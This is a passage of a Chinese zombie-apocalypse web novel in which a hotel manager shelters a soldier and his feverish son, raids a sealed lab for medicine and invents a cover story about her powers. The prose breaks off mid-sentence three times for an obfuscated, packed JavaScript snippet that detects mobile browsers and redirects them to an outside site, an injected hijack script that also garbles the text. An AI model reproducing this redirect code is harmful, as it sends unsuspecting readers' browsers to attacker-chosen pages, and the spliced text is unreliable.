她低头近距离地看了眼昏迷中的孩子。那孩子睫毛很长，肤色白皙，但似乎陷入了高烧，脸庞涨得通红。 “你到底是谁？”男人沙哑的声音满是敌意，拒绝了她伸来的扫帚，攥着匕首的拳头压在地上，缓慢地撑着自己站了起来，冷冷地望着她。 何莱忍住翻白眼的冲动，刚才在探索当中已经在脑内成型的一些想法开始梳理起来。 “我是——希望基地的外派营业点负责人，最近一直在旅馆里工作。没想到……旅馆才刚走上正途，基地就出了这种事。”何莱生疏地编织着新身份，别过脸去掩盖不自然的说谎表情，随后弯腰捡起那颗沾满鲜血的晶核：“这个能支付你们一晚上的住宿费，过来吧。” 男人的眼神在听见希望基地时猛地闪动一下，又迅速地恢复成敌意的警惕，搂着孩子的手又紧了紧，但还是一瘸一拐地跟在了何莱的身后，保持一言不发的沉默。 十分钟前。 “别怕，糖糖别怕......” 他们身后遥遥跟着几只游荡的丧尸，空洞的眼球淌着黏液，茫然地瞄准他们缓慢地走来，血盆大口开合着发出骇人的咔咔声响，喉咙里不断溢出沙哑的嘶吼。王守诚奋力往前赶了几步，终于面对着身前空荡寂静、无处藏身的街区绝望地发出自语。 “别怕，爸爸在这。”男人不甘地闭上眼，又努力保持清醒往前赶路，他的双腿已经因为过度疲劳而颤抖，用尽全力抱着孩子，不让彼此都摔落在地。 王守诚今年三十七岁，自从在五年前的一场事故中失去妻子后，就独自抚养儿子长大。 作为在末日中没有觉醒任何异能的普通人，他在三年前，也就是丧尸潮爆发的第一时间就收拾了全部的物资奔赴距离最近的人类聚集区，也就是后来发展起来的希望基地——在五天前被攻破覆灭。 他是护城军团的一员，在亲眼目睹成千上万的丧尸疯狂涌入基地坍塌的断墙时几乎悲恸得理智绷断，但好在他还记得自己有个儿子正留在城内——于是与时间夺命的奔跑与战斗，漫长的流浪逃亡，终于他们的食水彻底耗尽，力气也完全从身体中流逝，脚步即将永远地停在这个街区。 在最后一场绝望的战斗过后，王守诚失去了所有的力气，带着无法守护任何人的悔恨的心，重重地跌落在地上，不甘心地等待着死神降临。 4. 母鸡、绵羊和蜥蜴进行曲4 “快到了。”何莱说。 王守诚抱着自己的儿子，一瘸一拐地跟在何莱身后走过剩余的半个街区，在长久的沉默过后忽然吐出一句：“我也是希望基地的。怎么从来没有见过你？” 何莱的脚步一顿，扭过头来看了一眼他，随后又轻巧地继续往前走：“你在里边负责什么？” “我是护城军团的人。”男人的声音沙哑笃定。 “那样的话，没见过我很正常。我加入基地不到半年，参与的计划一直都在保密。”何莱苦着一张脸闷头赶路，很想尽快回到旅店里痛骂系统的建议总是精准撞上枪口。什么用希望基地打掩护？！她在末日里遇上的第一个人就是最熟悉希望基地的前成员！ 万幸，直到他们在翡翠酒店的小玻璃门前站定，王守诚都没有再开口询问。 何莱轻车熟路地推开门，站到前台后边，伸手指引店里的第一位客人看向价格纸条：“盒饭与矿泉水套餐只需要2晶核，住宿1晶核算你们已经支付过了。要来两份套餐吗？” “好的。”王守诚低头从自己腰间藏着的绑带里摸出了2颗晶核，小心翼翼地放在桌上：“先来一份。” 何莱犹豫了片刻，望了一眼价格表，叹了口气还是递出两份：“既然是本店的第一位客人，买一送一好了。我们盒饭的量不是很大，你们一起的话不够吃的。” “啊呀店长，一觉睡醒怎么这里多了两个人？”突然出现的系统发出怪叫道：“看来您还学会了乐善好施，难道我们店里的经济状况已经好成这样了吗？” “你一个小时前不也在开业大酬宾免费派送吗？”何莱在心底回了一嘴，面上还是微笑着，利落地将王守诚晶核与路上捡的那颗投入前台桌上的转换器，拿到三枚翡翠币，珍惜地放进自己的口袋，才抬头向王守诚解释：“这个……叫翡翠币。是希望基地本来想推行的货币系统。未来我也会用它当作报酬，发布让你可以领取的任务，晶核与翡翠币的兑换比例是1:1，都可以用来缴纳房费和餐费。”何莱停了一下，沉默地看着王守诚在一旁的沙发坐下，后者迫不及待地打开了盒饭，焦急地轻声叫醒昏迷的孩子。 男人小心翼翼地摇动自己的儿子，但后者却一直没有任何醒来的迹象。 何莱继续说：“我天亮之前会回来。房间在二楼，爬上去的第一间。有水电供应，开灯记得拉窗帘，好好休息吧。” “你还要再出去？”系统破音。 “去找药。”何莱拎着扫帚走进自己的房间，重新塞进床底，才爬起来抱着双臂开口：“嘿管家，我知道你偏爱主角团队并且总是随时准备好为他们提供帮助，但看在我这个店长勤勤恳恳连续加班的份上，能不能至少帮我调个地图？” 系统沉默了一阵又一阵。 “我只要附近有药物的任何一处地点。医院，药房，实验室，小型医务站，都可以。” “距离这里两公里的制药公司，是最近的了。大楼地下室有一间实验室，指纹锁，只有那一间实验室至今未被探索过。楼上都被搬空了。”系统生硬地说：“那不该是你独自探索的地方。是主角团队的关键地点。” “很好，指纹锁我要怎么打开？”何莱专心致志：“能用砖头砸碎吗？” “已经被人砸碎了。所以那扇门彻底被封死了。”系统停滞了很长一段时间：“亲爱的店长，我在你的床头柜里放了一块炸弹，还有打火机。” “太感谢你了，亲爱的管家。”何莱打开床头柜，将打火机与肥皂大小的可塑炸弹分别放在了裤子两边的口袋里。 系统再次沉寂了下去。 何莱走出自己的房间，王守诚正扶着儿子小口小口地喂着水，还没来得及顾上吃饭。何莱走到他们面前，摸了摸男孩滚烫的额头，情况不妙。她皱紧眉开口问道：“他叫什么名字？” “小名叫糖糖，他妈妈取的。单名一个唐字。”王守诚抬起头，缓和了神色：“你还要出去吗？” “对，我想借一下你的刀。”何莱摸出一枚翡翠币：“这是租金，你们明天的房费也有着落了。”她用轻松的口吻说道。 “不用。”王守诚哑着嗓子，拔出自己沾满丧尸腐肉的匕首，在掌心转了半圈将刀柄交在她的手中：“今天多谢你了，店长。”他盯着何莱衬衫领口的徽章：“何莱店长。” “好。”何莱点头，接过刀在裤腿上毫不介意地擦了擦。 何莱出门前在心里召唤系统：“怎么就连他也叫我店长？名牌上不是写着经理吗？” 系统挪揄的语气立刻响起：“说明群众的眼睛是雪亮的。你瞧瞧，这破地方适合出现经理吗？” 随后何莱又在心里开口：“管家，能查出来他被丧尸留下伤口了吗？” “不能。”系统欲言又止：“你把人带回来之前没想过这个问题吗？” “下次注意。”何莱说：“如果他被感染了，变异需要多久？” “很快。时间宝贵，五分钟内。”系统说：“实在不行你回来以后再在店里杀两个丧尸。” 何莱苦笑一声。 “最好不要。” 一旦踏出那一步，只要离开了旅馆，系统就被掐灭了声音，骤然寂静无声。 但何莱可以听见夜里边传来的稀稀疏疏声响，天已经彻底黑下去，难以言喻的紧张情绪正在弥漫。她感到心脏被揪起一块，原本的无畏探索心情在遇见了那对父子并重新出发后有了微妙的变化。 “冷静下来。” 她叹了口气，摇摇头将思绪统统抛到身后，加快了速度。 根据刚才在房间里系统为她提供的指引，顺着前往制药公司的方向小步地一点点挪动着，力求不发出额外声响，小心地避让着丧尸，开始在这片街区中来回绕行，逐渐接近了那栋被搜刮了上千回的大楼。 大门已经完全破碎，大厅里来回游荡着几只丧尸，地面到处都是杂乱的脚印，干涸的泥泞与血迹诉说着曾经来往的人群与故事。 何莱蹲在角落，捡起脚边的两块碎石，突然往大厅的一处角落抛去。 她趁着丧尸们抬起脑袋缓慢地往那一处聚拢，猛地起身，狂奔着冲向大厅左侧的楼梯间——她的计划超级简单，进去，然后关上门，安心地前往地下。 她也的确完成了直到关门的那部分。 大厅里游荡的丧尸迅速地被重新扯回注意力，发出咔咔的响动声再次拖沓着脚步向她走近，二三楼走廊徘徊的丧尸也注意到了人类的存在，纷纷趴在栏杆上奋力想要向下探去身子。 他们步履蹒跚，从喉咙里发出浑浊的呼哧喘气声，遮盖身体的布料被撕扯得破破烂烂，挂着可疑的深棕色液体，还在不断往下滴落，发出阵阵恶臭。 何莱冲进楼梯间，在高度紧张之下双手颤抖着快速锁上那扇安全门，透过中间的小玻璃可以看见最近的丧尸已经将脸都贴在了玻璃上边，不断撞击着门板，空洞的眼瞳正对上何莱紧张的双眼，丧尸的腐臭气味与恐怖的沙哑低语穿过门缝，几乎要扑至她的身前。 紧接着何莱就听见迟缓拖沓的沉重脚步声重叠着，也从身后传来。 冷汗浸透了后背，何莱向右跨了一步，握紧匕首转身，迎面而来的两只丧尸已经逼得很近。 右手边的那只体型较小，左手的丧尸落后一步。何莱回想着不久前那一地丧尸的脑袋都被开了洞的模样，猛地甩腿将左边的丧尸往后狠狠一踹，躲过右边那只扑上来的袭击，匕首用力挥下，重复几次捅烂了它的额头。 重新起身的丧尸牙齿距离她的手臂已经不到十厘米了。王守诚的刀很好用，锋利得能够轻易切开腐肉，也能在捅穿丧尸脑袋后快速抽出。何莱回身抬手，下意识地肘击在丧尸的眼睛，随后她意识到自己的失误，丧尸并不会感受到疼痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571865|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸透衣服的黏腻触感让她一阵虚脱，抓紧补上了致命的一刀。 两只丧尸都没有掉落出晶核，何莱搀扶着墙边的褪色米黄扶手，尽全力支撑着自己往下方走去。强压着一阵又一阵呕吐的冲动，浑身脱力的虚弱与肌肉拉伤的酸痛让她的心情骤然跌落谷底，直面丧尸，杀掉那些曾经是人类的怪物，这一切并没有想象中那么容易。 直到安装炸弹与点火，她看起来都有些垂头丧气。 何莱躲在地下室的走廊尽头里，等待实验室的门被爆炸轰开，才提着刀警惕地走过去，又发现门后边还有一只穿着实验服倒下的丧尸。显然是被她安装炸弹的响动吸引，再被炸弹波及。 何莱强忍着恶心，在那片血肉模糊的断肢残骸里用小刀挖了半天，没发现晶核，于是用那只丧尸身上的实验服擦了擦手。 低下头的时候，她才被小腿右侧的那片红色吸引了注意力。何莱低头查看，发现那块大面积的擦伤外侧沾了些白色粉末——估计是刚才在楼梯间里勇者斗恶尸时留下的，没有看见牙印，也没有观察到指甲抓伤的痕迹，比较合理的解释应该是战斗中撞在了粗糙的墙面上。 当时肾上腺素狂飙与生死之间的果决让她来不及察觉受伤的异样，此刻一阵一阵的疼痛才如潮水般涌上。何莱龇牙咧嘴地一瘸一拐起来，在实验室里拆了一包新的棉签和酒精消毒。 处理中她一直嘶嘶吸着冷气，用纱布一层层缠好伤口，忍着灼烧的疼痛，忽然一滴眼泪砸在了脚踝。 何莱诧异地摸上自己的脸颊，意识到眼泪正在往下砸落，随后她哽咽着发出一声啜泣。 喔，迟来的“店长情绪崩溃接受现实”环节。何莱一边抹着脸将眼泪擦开，一边在心里冷静地吐槽。即使无法控制生理上的反应，但她的头脑却依旧转得很快。 真是枉对管家的信任与期待：那位系统完全看错她了。 何莱察觉自己根本不是冷静又镇定的天选店长，只是压根没反应过来的迟钝生物。此刻她终于后知后觉地意识到了自己被丢入的处境。现在才开始后怕与后悔已经来不及。王守诚父子的出现已经证实了危机，揭开血淋淋的末日，她也将深陷其中。 比起勇往直前，不如说她在此之前并没有太把这一切当回事，即使末日和自己被突然扔进来的这堆破事已经转变为真实的处境，却依旧仿佛一鼓作气就能打通的游戏，她头脑一热就强撑着走到这里。但她其实后怕得要命，连腿都在发抖。何莱盯着自己被包扎妥当的伤口心想，当然也可能是痛的。 来时的路已经被她自己封死，何莱嘀咕到这里，理智回笼开始替自己辩护：那种情况下无法潜入，只能速取。 无论如何都必须走下去了。第一步，她需要更多物资，在这个基础上争取同伴。 何莱坐在原地沉了沉气，起身开始逐个搜寻实验室里的柜子。 她在后勤的储物柜里发现了十几个黄色尼龙袋，显然是之前用来搬运需要处理掉的废品。 何莱打开了其中两个，当作背包一左一右地背在肩膀后。她首先将剩余的袋子叠好放入左边的背包，决定用它专门收集日常物资，右边的背包则是常用的药物和医用器材。 何莱环顾四周，放弃了桌面上的那些实验品与开封过的药剂，目标明确地直奔下一个竖柜。 她在右边的背包里放进一大包纱布，三卷绷带，两根温度计，一盒感冒药，一瓶退烧糖浆，两瓶小型酒精，一盒创口贴，还有两罐钙片。物资沉甸甸地压在她的肩膀，何莱看袋子里还有些空隙，就又丢了些抗生素和针管进去。 左边的背包被她陆续放入了几条毛巾，包裹着一个未拆封的酒精灯，一排麻醉剂，几条藏在工作人员柜子里的巧克力和一小包薯片，一副防毒面罩，临走前还带走了两大包氯化钠。 墙壁上的消防锤也被何莱拆了下来，决定等会带着备用。 5. 母鸡、绵羊和蜥蜴进行曲5 “一个人能携带的物资太有限了。”何莱惋惜地看着房间，她实在无法再背着更多的物资返回。但下一秒何莱准备撤离的脚步停了下来，目光迅速地移向上锁的柜门。透过玻璃窗，她看见其上贴着的标签。 □□胶囊。 何莱只犹豫了三秒钟，飞快地解下右边的背包，用力压了又压内部的物资。她握着消防锥砸碎玻璃，将那一瓶胶囊塞进了自己的行囊带走。 离开实验室后,她在地下围绕着除楼梯间以外的地方都转了一圈，发现一扇被锁住的安全撤离通道门，和旁边的一台……电梯。 按键灯竟然还亮着，或许这栋大楼出于研发需求的考虑，有专门的供电电源。 “可惜炸药用完了。”何莱嘀咕一句，试着用手中的小刀捅开安全门的锁芯，无功而返后面无表情地按下电梯键：“只剩下没有选择的选择啊。” 她决定乘坐电梯前往顶层，继续制定之前没有完善的逃生方案——用那副在外边就瞥见了的显眼消防云梯撤离大楼。 加长型逃生款，已经被放下来紧贴着大楼垂落，先前的求生者们这么干过，系统简短提及，于是何莱打算碰碰运气。 她坐上电梯，一路去往最高的十三层。 “啊！混蛋！你——不要动手！啊啊啊啊！” 电梯门开。何莱听见一阵惨叫和哀求，随后是另一阵惨叫和枪响的声音，震得空气也停滞一瞬，她立刻收回准备迈出电梯的右脚。 一个长发女人的背影立在前方，她没有将乌黑的长发扎起或者盘好，而是任由它随着动作而大幅度晃动——她狠狠踹向脚下正翻滚嚎叫的男人，后者的肩膀被打了个对穿，正在不断往外涌着鲜血，死亡的阴影令他姿势别扭地往前爬动着想要逃离。 何莱猛地捂住自己的嘴。 电梯的声响让那女人警惕地回头，大约三十四五的中年面孔，眼神里带着疲倦，此刻又杀意十足地冷冷注视何莱：“别多管闲事，快滚。” 何莱双手举起心说天啊实在冤枉，小心翼翼地擦着电梯从旁经过：“我不管我不管，我是希望基地的！只是过来找物资，想从云梯下去。” “希望基地？”女人在确认何莱孤身一人后稍微收敛了敌意：“你们前阵子那事，死了不少人吧？” “嗯……”何莱几步走到云梯边上，发现是非常传统的老式简陋爬梯。她握着扶手为难地望了一眼脚下。 令人眩晕的高度让心跳疾速跳动起来。 女人低头看着何莱，像是还想说些什么，何莱转过身尝试着往下踩了一步，双腿微微颤抖着，仰起脸看向女人，忽然瞳孔一缩。 “小心！” 刚才那个受伤的男人狰狞地飞扑过来，想要将女人撞飞下去，甚至要将何莱也一起被带着从云梯上撞下去。 女人迅速地往一旁闪避，拔枪对准他的脑袋猛开一枪，何莱缩着脑袋躲在云梯里，努力不让视线往那边瞥，直到女人再次走过来，踩在那摊软绵绵的尸体上，好笑地看着发抖的何莱：“平时不怎么外出吧？” 何莱虚弱地点点头，再开口时声音竟然也有些发颤：“那个姐啊。楼下的实验室被我搞开了，里边还有不少药物和医疗用品，如果你有需要的话可以尽快去一趟。”她低头望望脚下说：“我估计是不会再来了。” “等等。” 何莱刚试探着往下爬了几步，又被女人叫回来。她苦着脸用发软的双脚蹬在横杆，将自己往上送了送：“什么？” “距离这里不远有一家疗养院。如果有一天你遇上了麻烦，可以去那里碰碰运气。”女人的目光一直注视着她：“报我的名字，就说你找倩姐。” “喔好。我住在附近的酒店里，翡翠酒店。我们基地——剩下的人都在那儿了。倩姐，那我走了啊。”何莱礼尚往来地自报家门顺带招揽生意，努力露出真诚表情，时不时看一眼倩姐手中握着的枪。 “翡翠酒店？我怎么从来没听过？”倩姐的声音从上方遥遥传来，何莱只当她在自言自语，专心致志地奋力往下爬。 云梯分了好几截，每个落地的平台上都有一扇被锁住的玻璃门，何莱时不时看见丧尸闪过的身影或者紧贴玻璃拼命拍动的手掌。 等她的双脚终于重新站立在地面上，何莱感觉自己浑身发软，深刻地领悟了王守诚同志今夜先前精疲力竭的感受，忍不住沉沉地叹一口气。 但归程并未结束，又等到她背着两大袋子沉重的物资，一路绷紧神经地小心避让，提高警觉避免任何战斗，几乎连滚带爬地逃进旅馆门，天已经快要亮了。 凌晨四点，昨晚被救下的男人坐在沙发上。 他已经简单休整和清洁完毕，孩子也看起来精神了不少。 何莱进店的时候，他俩一起扭头望过来。 她放下背包，掏出一瓶退烧糖浆递过去。 “给你，退烧糖浆。感冒药我也有。” “......谢谢！” 王守诚原本有些愁苦的表情在一瞬间变成了不可思议，他迅速站起身接过，又深深地看了何莱一眼，才拧开药瓶倒出深棕色的液体，扶着糖糖喂小家伙喝下。 糖糖喝完了药，揉着眼睛就往沙发倒。现在实在太早了，何莱看一眼小破墙上挂着的小破钟，猜到他们是特意在这里等待自己回来，看着男孩疲倦的模样，忍不住也心中一软，摸了摸糖糖的脑袋：“先上去睡会儿吧。我和你爸爸商量点事。” 王守诚又看了她一眼，点了点头，抱着糖糖爬上楼梯，站在原地仰头看着孩子打开房门走进去才收回视线。 男人走到何莱的面前，想也不想地冲她深深鞠躬，再次道谢：“谢谢你。” “嚯。店长，你看起来也太狼狈了。”系统的声音适时响起：“带回来什么好东西？” “一个人能携带的物资太少了。我真的想要空间超能力。”何莱面无表情地在心底吐槽，连忙摆手让王守诚不必多礼：“快起来快起来，其实我......我也只是在执行基地里的任务。” 自从连续手刃了两只丧尸，又目睹杀人现场之后，编织谎言变得流畅自如得多，她不需要停歇地开口说了下去：“希望基地虽然毁灭，但上级托付给我的使命还没有完成。” 对面的男人立刻严肃起来，他依旧站在原地低头望向她，站得笔直，表情凝重，仿佛只要一声令下，他就将宣誓效忠原基地仍然留存的希望。 何莱被这种诡异的悲壮气氛搞得也跟着紧张起来，于是站起身走到前台的招待桌后坐下，摆手示意王守诚坐回沙发上去：“在这里你是客人，放松一点。” 她又想了想，开口道：“这么说吧，在希望基地毁灭之前，我接到的任务是建立起一个能够承载这片地区的幸存者们的庇护所——你也可以理解成收容中转站。基地希望能够对外扩大影响力，从而在以后成为末日中最大的聚集地。” “我们一直只是个中型基地。”王守诚皱起眉：“我们……至少我们大部分人，竟然从不知道高层有这样的意愿和能力。” 何莱顿了顿：“末日不会突然结束，基地想要继续发展下去，不止是满足于求生，迟早会成为大型基地的。而我正是出于这样的目的，被派了出来为下一步而探路。”她检查了一下自己的措辞，满意地点点头。 “这项任务只剩下你一个人了吗？”王守诚指了指楼上。 “是的，只有我一个人被派来这里。负责接应的同伴们还没来得及赶到就——总之，在基地覆灭后，我现在的处境很艰难。”何莱平静地开口：“我不想欺骗你，王叔。这里正在起步，如果你想留下来帮忙，或许还有机会重建一个安全的、稳定的居住点，至少让糖糖有机会健康快乐地长大。如果离开，你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571866|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以继续游荡尝试加入新的基地，但孩子不一定能在危机四伏的奔波中……过得很开心。”何莱咽下了更难听的假设，在内心里唾弃自己用孩子来干扰对面男人的决策。 王守诚沉默了一会儿，提出了问题：“我想知道，你是异能者吗？”他随即略带歉意地替自己的唐突辩护：“我只是想知道，如果留下来，我和糖糖需要面对的处境是什么？” “理解。我是异能者。”何莱平静地望向他，面不改色地替自己脸色贴金：“需要你帮我保密。这项能力非常特殊，并且它随着基地的破灭在衰退——我是基地培养出来的特殊异能者。”她强调：“我不确定自己还能拥有它到什么时候，因此我需要有人帮忙，在事情变糟之前重建起这间安全屋。” 何莱立刻补充：“当然，短时间之内都不需要担心我的异能消失，平时只要吸收晶核就可以转换成我的能量。旅馆的人数越多，缴纳的晶核就越多——我就能更加稳定地发挥作用。” 何莱一边偷换着入住人数与晶核的概念，一遍打出了最后的王牌：“以及，只要我还活着，丧尸就无法进入这间旅馆。”一位带着孩子的父亲最无法拒绝的就是安全的保障。 “明白了。正式自我介绍一下，王守诚，护城军团的。”王守诚沉思了片刻，起身走过来，郑重其事地伸出手：“我不会再询问和向他人透露你的异能，接下来我将在附近寻找更多希望基地的散落人员。” 他把何莱当作是那一类基地专职培养的异能者，与单打独斗偶然激活超能力的幸运儿相比，更有一种得天独厚的“人为”特色在。 一些大型基地确实会提供大量的晶核以供核心成员催化异能，至少从这一点看，何莱对于希望基地的态度一定是友善的，在目前值得信任。王守诚在心里迅速地分析半天，下定了决心。 “何莱，希望基地外派人员。”何莱伸手握住他的手，用力地回握：“不止是希望基地，是个人其实你就可以拉过来，我们需要新生力量来参与建设……” “好的。”王守诚点头。 “那我先回去休息了？”何莱指了指房间，将退烧和感冒药都留了下来，王守诚再次点头，最后一次道谢。 进入房间的何莱放下两袋背包，深深吐一口气，恨不得仰天长啸一声，又考虑到扰民问题，最终只是伸了个懒腰。 终于回到了安全的地方休息，任务完成。 她揉着肩膀和腰走进洗手间，开始脱衣服。白衬衫被染成了血色，何莱盯着它看：“该死。应该穿我的T恤出门的。” “没关系，你不是号称有异能吗？洗件衣服算什么？”系统不爽的声音响起来：“您什么时候成了异能者？店长。” “哼哼。”何莱冷哼着回应，打开花洒等待热水的时间里低头仔细查看着小腿处的纱布，没有理会系统的敲敲打打：“放心吧，我只是用来应付，不是真的在向你暗示我很需要异能这件事。” “您编造了一套很完美的谎言来掩护自己，一个难以被戳穿的伪装，反正大部分希望基地的人都死无对证了。”系统继续夸夸其谈：“伤口不能沾水，把你的腿伸出去。不过这么早就让这位客人知道那么多信息，不担心他反过来拿捏你吗？” 何莱头也不抬地扯过毛巾打湿，将热毛巾敷在酸痛的双眼上：“我从实验室里拿到了麻醉剂和□□。他毕竟带着孩子，又得知我有能够支撑这里运营维持的异能，突然发难的概率不大。况且对方还把刀借给我了。我只能暂时当他是可信任的人。” “很好，恭喜你现在已经有了两位客人。其中一位武德充沛。接下来只需要根据他的线索找到更多从希望基地里逃出来的人，把他们一网打尽。”系统的声音装模作样地低沉起来。 “我们不是反派，你要注意讲话的方式。”何莱提醒它道：“我要开始洗澡了，你能消失一下吗？” 6. 母鸡、绵羊和蜥蜴进行曲6 “没问题。”系统发出闹钟铃声：“我正好也打算去找点事做。” “什么？”何莱疑惑地开口：“你能离开这家酒店吗？” “不能。”系统的声音变得有些寂寥。 “那你去做什么？” “当然是替你申请一件新衬衫，亲爱的店长。” 等到何莱一觉睡醒，已经到了中午。她换下睡衣，检查伤口，痊愈得还算令人放心。何莱再次给它消毒，又换了一块纱布，然后穿回酒店发放的白衬衫和黑色西装裤工作制服，发现它们都变得焕然一新。 何莱笑了笑，推开房门走进破旧的酒店大厅，发现王守诚正在认真做保洁。 “......” “你醒了？”王守诚擦一把汗：“你进去之后，大厅里突然掉下来扫帚和拖把。我去楼上看了看其它的房间，都有点脏。醒来以后就顺便把旅店从头到尾简单清洁了一遍，现在已经开始收尾了。”他若无其事地说出了惊人的话语。 “......”天杀的，系统已经开始在蛊惑她发展奴隶制帝国了。 何莱迅速地在心底嘀咕，随后朝空气中伸了伸手，在王守诚目瞪口呆的注视下从天而降了三份盒饭，落在何莱的手中。 “这是打扫的任务报酬，我就不给你结算翡翠币了，直接兑换食物吧。”何莱故作习以为常地打开自己的那份盒饭，将剩下的两盒递过去：“糖糖的烧退了吗？叫下来吃饭吧。” “谢谢。已经开始好转了。”王守诚擦了擦汗，接过盒饭放在沙发上，对着楼上吹了声口哨。 楼上的糖糖立刻推开房门，趴在走廊上探出一个脑袋来，兴奋地冲他挥舞手臂：“爸爸！”随后他又看向何莱，虽然依旧有些虚弱，但还是努力露出一个灿烂的笑容：“谢谢姐姐！” 王守诚冲他笑了笑，一边将孩子抱下来，一边扭头向何莱解释：“军团的哨音，短促上扬的一声是安全的意思。” “原来如此。”何莱回到自己的前台桌坐下，用筷子戳着炒鸡蛋，突然来了一句：“你知道附近的疗养院吗？” “你说那个奇怪的地方？”王守诚替糖糖打开盒饭，若有所思：“不算很近吧。走路过去的路程可能要一天。” 男人很乖觉地开始了介绍：“据说领头的人是个女护工，性格强悍，几年前不知道怎么搞到了一把土枪。在末日刚爆发的时候就靠着这个招揽了一批幸存者。但是......她对物资的管理非常克扣，疗养院里的等级制度也很严格，还不肯放弃那一批被收留的老人，所以疗养院的人总是怨声载道的。” 王守诚吃了一口青菜，努力回想：“她有个副手，男的，来过我们基地几次招揽人手，但人不太行，心眼有点坏。好像有一次差点就要回去闹夺权了。但后来领头人离家出走的儿子进化出了异能，母子重聚后震慑了副手那一批人。再后来我就不知道了。” 何莱点头。听起来疗养院后来一直维持着勉强的平衡。 王守诚问：“你之前和他们打过交道？” “对。他们领头的叫什么？”何莱答：“我们有过一面之缘。” “好像是......听说都叫她倩姐，我也不太清楚全名。”王守诚挠头：“他们那群人都斤斤计较得很厉害，不好打交道，我们小队做生意都会特地避开那片区域。你突然这么问......是有什么想法吗？” “我想和他们谈谈。”何莱嘀咕一声：“把那群老人接过来。以后糖糖留在旅店里也能多一层保障。”她诚恳地说：“你肯定是要出去干活的。而我也不会一直守在店里。”小孩一个人留在店里，难免让人不放心，而且万一遇上危险，恐怕还真不好求生。 “老人们？”这一次王守诚和系统同时出声了。 王守诚先点点头：“你如果需要我出去做什么都没问题，在基地里的时候，糖糖一个人也能照顾好自己。但老人们……你确定接过来以后能顾得来吗？”他委婉地提示：“老人们不一定能给你带来晶核的。” 系统说：“别真把我这里当福利院了。” “啊没关系，先有人手再说。得把这破酒店运转起来啊。”何莱耸肩：“最近能带我去一趟吗？当然，在遇到我无法脱身的危险时，你可以自行离开。如果一切顺利——我是指陪同我过去和回来，并且把老人们安全地送至酒店，那么这次的任务报酬是接下来一段时间不收你们住宿费。” “等会就行。我去弄辆车。”王守诚加快了进食的速度。 “原来天底下没有免费的午餐，但有免费的住宿。”系统听起来有些阴阳怪气了：“我知道拦不住你，但亲爱的何莱店长，不久前你才狠狠否决了我给出的职业指导意见呢。现在是有什么心事吗？” “我改主意了。”何莱利落地承认。 她甩了甩头发，仔细想道：“主要是现在已经有王守诚了。所以在能够锁上自己的房门之前，我决定都不会再招揽太具备攻击能力的客人。你的建议……其实也对。”她的回忆一闪而过倒在血泊中的那个男人与枪响，又开始考虑疗养院那边的情况，忽然之间眉头紧皱。 “这样说的话……您当时的想法也有道理，毕竟没有主角团队，很多情况需要调整。”系统虚伪地与她客套两下：“共同进步吧。” “你有时候情感充沛得不像电子产品。”何莱转过脑袋，对着空气发呆。 “谁说我是了？”系统哼哼：“我也还没有搞清楚自己是什么东西呢，一觉醒来就在这儿了。”它补充道：“或许某一天会有答案。” 何莱听得一愣，有什么一闪而过的思绪却很快又被她遗失了，无法捕捉。 店长还未从恍惚中回过神来，王守诚在一旁叮嘱孩子。“糖糖乖，我们没回来之前，你都把门锁好知道吗？不要随意跑动，如果到明天我们还没有回来的话……”他用余光迅速地瞥一眼何莱，为难地顿了顿，最终还是下定了决心：“我们一直没有回来的话，你再出来。” “不用这么悲观吧。” 何莱站在旁边重申：“都说了遇到危险你先走。到时候你在疗养院外边等我就行，不用一起进去。” 她又摸了一把糖糖的头：“抓紧吃饭。对了，还你的刀。”她扭头看向王守诚，那把匕首她在洗澡的时候也顺带做了清洗，现在干净又锃亮，和之前的扫帚武器显然不在一个等次。何莱依依不舍地掏出来，递了过去。 “不用，我还有一把甩棍。基地帮忙改装过，磨尖以后还在上边嵌了刀片。”王守诚转身在自己的背包里掏了半天，手握棍尾，小臂猛地发力，对着前方利落地甩出一截来，金属的咔咔声无端地带来踏实的感觉。 “好有安全感的武器。”何莱在心里说，又低头看了看自己手中的短刃：“管家，能不能给我分配一把能远距离攻击的？不要扫帚。” “哦，拖把也在床底下。”系统懒洋洋地说：“千万别死啊，店长。” 何莱在离开酒店之前给糖糖留了两份套餐，又向系统要了两份带在身上。 至此，所有免费的盒饭与水的额度都宣告耗空。 她从实验室里带回来的那些尼龙袋很结实，足够做户外的便携背包。那些带回来的物资已经被整齐地放进了床底下。 在王守诚的开路和掩护下，他们顺利地离开了最近的街道，没有遇上任何突发事件。王守诚不愧是军团出来的人，知道如何绕开游荡的丧尸，也能根据记忆判断离开这片区域的最近路线与附近公园的停车场方位。 随着与翡翠酒店的距离不断拉远，周围的安静逐渐被叠加的嘈杂声所覆盖，他们并肩走了一段路，何莱与王守诚稍微分散开来，替彼此掩护着探查四周。 何莱盯上了前方路边的那辆白色小轿车——它露出了半边车屁股，藏在拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 